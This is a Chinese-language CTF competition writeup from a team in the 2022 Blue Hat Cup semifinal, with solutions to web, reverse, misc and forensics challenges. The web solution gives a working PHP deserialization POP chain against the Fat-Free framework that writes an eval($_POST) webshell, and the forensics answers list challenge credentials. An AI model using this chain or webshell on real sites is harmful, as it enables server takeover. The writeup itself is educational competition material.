蓝帽杯2022年半决赛 writeup
第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛 WriteUp
队伍名称
我们会下蛊
排名
解题思路
Web
easyfatfree
php框架反序列化,简单题,直接全局搜索__destruct 只有一个可用
Jig#__destruct 调用到Base#wirte ,然后直接写入文件。刚开始做的时候想得麻烦了……
function __destruct() {
   if ($this->lazy) {
      $this->lazy = FALSE;
      foreach ($this->data?:[] as $file => $data)
         $this->write($file,$data);
   }
}
function write($file,array $data=NULL) {
      if (!$this->dir || $this->lazy)
         return count($this->data[$file]=$data);
      $fw=\\Base::instance();
        switch ($this->format) {
         case self::FORMAT_JSON:
            $out=json_encode($data,JSON_PRETTY_PRINT);
            break;
         case self::FORMAT_Serialized:
            $out=$fw->serialize($data);
            break;
      }
//        var_dump($this->dir.$file);
      return $fw->write($this->dir.$file,$out);
   }
// Base#wirte 
function write($file,$data,$append=FALSE) {
		return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}
poc:,然后蚁剑连一下(由于我的蚁剑好像烂掉了,直接让队友连了),本来应该是要绕过open_basedir的,但是尚师傅的蚁剑直接进去了,太牛啦!直接在根目录下找到flag
<?php
namespace DB {
    use DB\\Jig as DBJig;
    use Base;
    class Jig {
        protected
        $dir,
      //! Current storage format
      $format,
      //! Jig log
      $log,
      //! Memory-held data
      $data,
      //! lazy load/save files
      $lazy;
        public function __construct()
        {
            $this->dir = 'ui/';
            $this->format = 0;
            $this->data = array('index.php'=>['<?php eval($_POST[\\'cmd\\']);']);
            $this->lazy = true;
        }
    }
    $a = [newDBJig(), new \\Base()];
    echo urlencode(serialize($a));
}
namespace {
    abstract class Prefab {
    }
    final class Base extends Prefab {
        private $hive;
        public function __construct()
        {
            $this->hive = array('LOCK'=>8, 'SERIALIZER'=>'');
        }
    }
}
flag:
flag{5cc7c26b-0994-4f76-aedd-36f91b940aca}
Reverse
babynim

根据提示输入flag{十进制整数}
ida打开搜索字符串找到两个大整数,long_to_bytes()转成字节得到一个uuid的flag,提交后发现不对。
然后根据那两个整数定位到函数反编译
大致分析一下:

先是输出plz input your flag(format: flag{decimal number})
然后等待输入给v2

然后判断长度是否为42,头和尾是否为flag{}

输入的数赋值给x__hello_40,小一点的数复制给a__hello_41,后面再分别给v23, v22

进入star___6758Z85sersZ65ZOnimbleZpkgsZbigints4548O53O48Zbigints_1219()函数,看到关键字multiplication(乘法),可以猜测那个函数就是把v23和v22相乘赋值给v24



最后两个相乘的数和那个大数相比较,这样就得到了基本逻辑。
所以只需要计算大数除以小数就可以了

flag:flag{923973256239481267349126498121231231}
Misc
神秘的日志
直接双击打开看,先查看system

查看到这条,再到security中找到该时间点,然后可以尝试几个(一次就对


md5之后上交

加密的通道

先追踪到流14,然后解码下面一部分

发现是一个php代码,但是进行了加密,搜一下上面提到的https://Www.PHPJiaMi.Com,是一个加密网站,然后google搜索解码
https://blog.csdn.net/ababab12345/article/details/90169678
但是发现github上的解码脚本没了,换一个被,正好发现,Y4大佬推了这个解码工具
https://github.com/Y4tacker/CTFBackup/commit/815e4df83ca6ff0de0a2138d203131246df4706f
然后下下来,解码

得到脚本,再稍微改一下
<?php
$cmd = ''
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
}
echo $cmd;
最后是在流34中,发现有flag


一个很完美的Zmxh flag头

flag{844dfc86da23a4d5283907efaf9791ad}
Forensic(没有特殊说明使用的都是官方给的工具)
手机取证_1

iBoot-7429.62.1
手机取证_2
加8小时

2022-01-11 18:47:38
exe分析_1
查看微信聊天记录得到压缩包

ida分析,f12直接看

C:\Program Files\Common Files\Services\WmiApSvr.exe
exe分析_2
ida打开,直接搜索advapi32.dll
然后跟进,发现sub__433630()函数有用到advap.32.dll

是
exe分析_3
ida打开,直接搜索.exe

svchost.exe
exe分析_4
都说了,挖矿,那就挖矿呗
挖矿
exe分析_5
在这个的下面有一串很明显的ASCII,提取出来


解码,得到网站,然后溯源,得到ip,再通过ip查询地址


APK分析_01
用jadx-gui打开base.apk,这边后来在做其他的题目的时候发现一个问题,明明是同一个附件,但是他的序列号却不一样,我不是很能理解,这边也是因为运气好,然后得到了正确的序列号,然后这边左边的代码还跟队友的不一样,队友都是abcd啥的,我是p061a这种,也不是很理解,导致后面有一个题目我做了半天出不来,按理来说就是那个函数,但是就是不对
base.apk是在对安卓的附件进行分析


0x936eacbe07f201df
APK分析_02
在查看MainActivity解码base64得到

ansjk.ecxeio.xyz
APK分析_05
同6
有
APK分析_06
在受害人安卓手机中找到EXEC.apk并导出,打开java代码
主函数中导入了包,进去后发现了检测判断

 受害人手机中exec的检测方法的完整路径和方法名是:
受害人手机中exec的检测方法的完整路径和方法名是:d.a.a.c.a.a()
APK分析_08
在受害人安卓手机中找到红星.ipa并导出

Info.plist文件下找到包名

受害人手机中红星IPA的包名是:com.dd666.hongxin
APK分析_09
直接打开在Info.plist文件下找到APIKey

受害人手机中红星IPA的APIKEY是:d395159c291c627c9d4ff9139bf8f0a700b98732
APK分析_11
用jadx-gui打开,搜索关键词www.得到

www.nansjy.com.cn:8161
APK分析_12
基础的查看apk程序入口的知识

com.example.weisitas526sad.activity.SplashActivity
APK分析_13
先从聊天记录里下载,然后直接在模拟器里安装,进去之后点击网络设置就可以看到端口


6661
APK分析_15
fidder打开手机流量包,找到login关键字的url

选中在右边可以看到inspectors中可以看到uesrname,password等信息
把password在线md5解一下就有了

结合手机流量分析聊天工具的登录账号和密码是:17317289056/b12345678b
服务器取证_05
根据宝塔面板进行分析,得到,算了编不下去了,这题跟前面那个exec的界面一样,都是一直在猜,界面猜了567,但是不对,这个题直接猜了6,就对了,一猜就对,不得不说,这次比赛的运气是真的好!反过来想想为什么是6,我也不明白,等wp
服务器取证_07

找到数据库名和密码,通过计算机仿真取证系统登录数据库
查询loginlogs表的数据,第一个ip就是最早访问涉案网站后台的IP地址

写出最早访问涉案网站后台的IP地址:183.160.76.194

 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号